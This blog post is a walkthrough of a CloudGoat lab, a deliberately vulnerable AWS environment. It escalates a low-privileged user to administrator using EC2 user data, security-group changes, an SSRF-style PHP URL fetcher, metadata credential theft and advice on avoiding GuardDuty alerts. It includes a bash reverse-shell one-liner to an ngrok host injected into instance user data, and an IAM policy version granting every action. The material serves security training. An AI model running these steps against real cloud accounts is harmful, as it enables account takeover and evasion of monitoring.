Playing with CloudGoat part 1: hacking AWS EC2 service for privilege escalation

This post is a beginning of “Playing with CloudGoat” series focused on hacking misconfigurations in AWS services. While today I’ll be focused on introducing the CloudGoat platform and attacking EC2 service, the next posts will describe vulnerabilities related with other services, e.g. hacking Lambda service, bypassing CloudTrail (logging disruption), etc.

Few words about the CloudGoat

Before we dive into technical details, let me introduce you the CloudGoat. The authors describe it in the following way:

CloudGoat is used to deploy (and shutdown) a vulnerable set of AWS resources, designed to teach AWS security risks. We ensure that all vulnerabilities we include are only exploitable by someone with access to the given AWS account. This includes white listing access to sensitive resources to a personal IP address you supply where possible.

In other words, CloudGoat is an on-demand AWS environment with several vulnerable services, e.g. AWS EC2, Lamba, Lightsail, Glue etc. There are few IAM users and roles as well as monitoring services enabled, like CloudTrail and GuardDuty. Thanks to this you can play various scenarios. Unlike the other “vulnerable by design” platforms (like for example those available in VulnHub), the goal of CloudGoat isn’t only to get administrator privileges, but rather to play a real attacker role. This may include the following:

  • Privilege escalation
  • Logging/monitoring evasion
  • Data and information enumeration
  • Data exfiltration
  • Persistent access
  • Destruction (deletion of resources)

Setup

The deployment of CloudGoat is really fast and simple. In my case the only thing I missed from its requirements was Terraform. However, thanks to Homebrew a single command brew install terraform did a job and I was ready for starting the CloudGoat. The deployment process is as easy as running a start.sh script with your IP address (the last thing you want is to deploy a vulnerable environment, which is publicly available, right?). The start.sh script uses your default AWS CLI account configured in ~/.aws/credentials to configure all services.

Let’s get it started!

Once you’ve deployed the CloudGoat there is created a credentials.txt file where you can find access keys. Let’s grab those assigned to user Bob.

Access keys may leak in a numerous way, e.g via GitHub, via SSRF vulerability or just under suspicious circumstances. So it’s easy to imagine a scenario that Bob’s keys have been compromised. However, what are the next steps? Are there any real threats if Bob’s permissions are very limited?

Once you have keys, you should start from verifying permissions of compromised account. You can easily do it using Nimbostratus tool:

Is there any permission, which allows you to escalate Bob’s privileges? Well, you can automatically verify it, using this script:

What?! Nothing?! Not even one?! Well… don’t give up and let’s keep digging.

Bob has some permissions related with EC2, so let’s verify if there are any running EC2 instances. You can easily check it using the following command:

Great, there is one running EC2 instance. You can pull out some valuable information from the output. In our case we should write down the instance-id, the PublicDnsName and the Security Group assigned to the instance (named cloudgoat_ec2_sg).

While configuring the EC2 instance a user can specify some instructions which will be automatically executed just after booting a machine. Let’s take a look if we can find anything helpful there:

As you may have already noticed the User Data is encoded in Base64. After decoding it we get the following:

#cloud-boothook
#!/bin/bash
yum update -y
yum install php -y
yum install httpd -y
mkdir -p /var/www/html
cd /var/www/html
rm -rf ./*
printf "<?php\nif(isset(\$_POST['url'])) {\n if(strcmp(\$_POST['password'], '190621105371994221060126716') != 0) {\n echo 'Wrong password. You just need to find it!';\n die;\n }\n echo '<pre>';\n echo(file_get_contents(\$_POST['url']));\n echo '</pre>';\n die;\n}\n?>\n<html><head><title>URL Fetcher</title></head><body><form method='POST'><label for='url'>Enter the password and a URL that you want to make a request to (ex: https://google.com/)</label><br /><input type='text' name='password' placeholder='Password' /><input type='text' name='url' placeholder='URL' /><br /><input type='submit' value='Retrieve Contents' /></form></body></html>" > index.php
/usr/sbin/apachectl start

So there’s running some web application. Using the public DNS name of the instance you may try reach it:

Hmm… unreachable😞 The reason of it may lay in the Security Groups. Let’s check it out:

aws ec2 describe-security-groups --profile bob

From the output of the above mentioned command you can read that there are 3 Security Groups:

  • cloudgoat_ec2_debug_sg (opens ports 0–65535)
  • cloudgoat_lb_sg (opens port 80)
  • cloudgoat_ec2_sg (opens port 22)

The Security Group cloudgoat_ec2_sgis the only one assigned to the EC2 instance. Once we assign a group cloudgoat_ec2_debug_sg or cloudgoat_lb_sg to the instance, HTTP traffic will be allowed. Fortunately Bob has got permission ec2:ModifyInstanceAttribute. Let’s then use it and assign the cloudgoat_ec2_debug_sg group (GroupId: sg-07b7aa99f0067c524):

aws ec2 modify-instance-attribute --instance-id i-0e47e1bcf0904eaf4 --groups sg-07b7aa99f0067c524 --profile bob

Now, using the public DNS of the instance we can reach hosted web application. As you remember, the User Data revealed its source code. It seems that the web app works as a proxy if only you give a correct password here. Such functionalities or vulnerabilities like SSRF or XXE are particularly dangerous in cloud, because they may reveal sensitive information, for example the Meta Data, which stores access keys and session token of the role assigned to the instance. Let’s see if anything interesting is there.

Yeah, we’ve just gained new keys of instance profile! However, please be aware that once you use them beyond the instance it triggers an alert in GuardDuty:

That being said you should always use an instance profile’s keys from inside an instance what won’t trigger an alert in the GuardDuty.

The thing I need now is getting a reverse shell on the EC2 instance, e.g. via RCE on the web server. Using the PHP type juggling (you can find nice presentation about this here), it is possible to use here a “magic” trick - an empty array returns NULL and NULL == 0. So there’s no need to use password at all:

I was pretty sure that this LFI issue can be leveraged to RCE. However, no matter what I’ve tried (injections via RFI, access logs, error logs, data:// wrapper) the PHP code was not executed (if you managed to get the shell there, please let me know in comments).

Having limited time (my 4 month daughter never allows me to stay too long in front of computer…¯\_(ツ)_/¯), I decided to get into the instance in a loudly way. Using again the ec2:ModifyInstanceAttribute permission I can overwrite a User Data with reverse shell🙂 To do so, you have to stop the instance firstly (I told you it’s a loud way 😉):

Now it’s time for specifying the code which will be executed once I start the instance. Without creating/downloading new files, it is possible to get a reverse shell using the following bash one-liner:

bash -i >& /dev/tcp/[my_ip]/[my_port] 0>&1

If you use NAT in your home network, you won’t be able to catch a reverse shell. But no worries — every problem can be solved! You can tunnel your local listening socket to the public Internet via ngrok. The tunnel can be easily set up using a command ./ngrok tcp [my_port].

I’ve added the reverse shell line to the previous User Data and wrote it in a file my_user_data.sh:

#cloud-boothook
#!/bin/bash
yum update -y
yum install php -y
yum install httpd -y
mkdir -p /var/www/html
cd /var/www/html
rm -rf ./*
printf "<?php\nif(isset(\$_POST['url'])) {\n if(strcmp(\$_POST['password'], '38732856813292286581372217649') != 0) {\n echo 'Wrong password. You just need to find it!';\n die;\n }\n echo '<pre>';\n echo(file_get_contents(\$_POST['url']));\n echo '</pre>';\n die;}\n?>\n<html><head><title>URL Fetcher</title></head><body><form method='POST'><label for='url'>Enter the password and a URL that you want to make a request to (ex: https://google.com/)</label><br /><input type='text' name='password' placeholder='Password' /><input type='text' name='url' placeholder='URL' /><br /><input type='submit' value='Retrieve Contents' /></form></body></html>" > index.php
/usr/sbin/apachectl start
bash -i >& /dev/tcp/0.tcp.ngrok.io/15547 0>&1

Then I encoded the new code in Base64 and finally I was ready to set the new User Data:

Once it’s done, the only thing left me was to start the instance and catch a reverse shell:

Uff… we’re in. Now I can use the ec2_role from the instance’s shell without worrying GuardDuty. However, this role doesn’t allow me to do (almost) anything 😔 Let’s use Bob’s privileges to verify what ec2_role is allowed to do. You can check it in three simple steps:

a) what policy it uses:

b) then what is the current version of the ec2_ip_policy:

c) and finally what permission it has:

Hell yeah! I can create policy versions, what means I can overwrite the existing policy attached to ec2_role with an arbitrary one 😃 The new policy will work only if it is set to default one. Surprisingly, there is some interesting feature: you can add a flag --set-as-default without having a permission iam:SetDefaultPolicyVersion.

Using echo command I created the new escalated_policy.json file:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

The last thing to do is to create a new version of ec2_ip_policy and set it as a default one:

Finally, the new ec2_ip_policy looks like this:

The new ec2_role is allowed now to perform any arbitrary action.

Closing words

Starting from low privileged Bob user, it was possible to escalate his privileges to the administrator, what means I can do literally everything: starting from creating/modifying/deleting other users, running new services (e.g. cryptominers love running new instances) ending with removing all the resources (what in real world may end for you dramatically).

In the next blog post I’ll present you various ways how an attacker may stay invisible to logging service (CloudTrail), so stay tuned!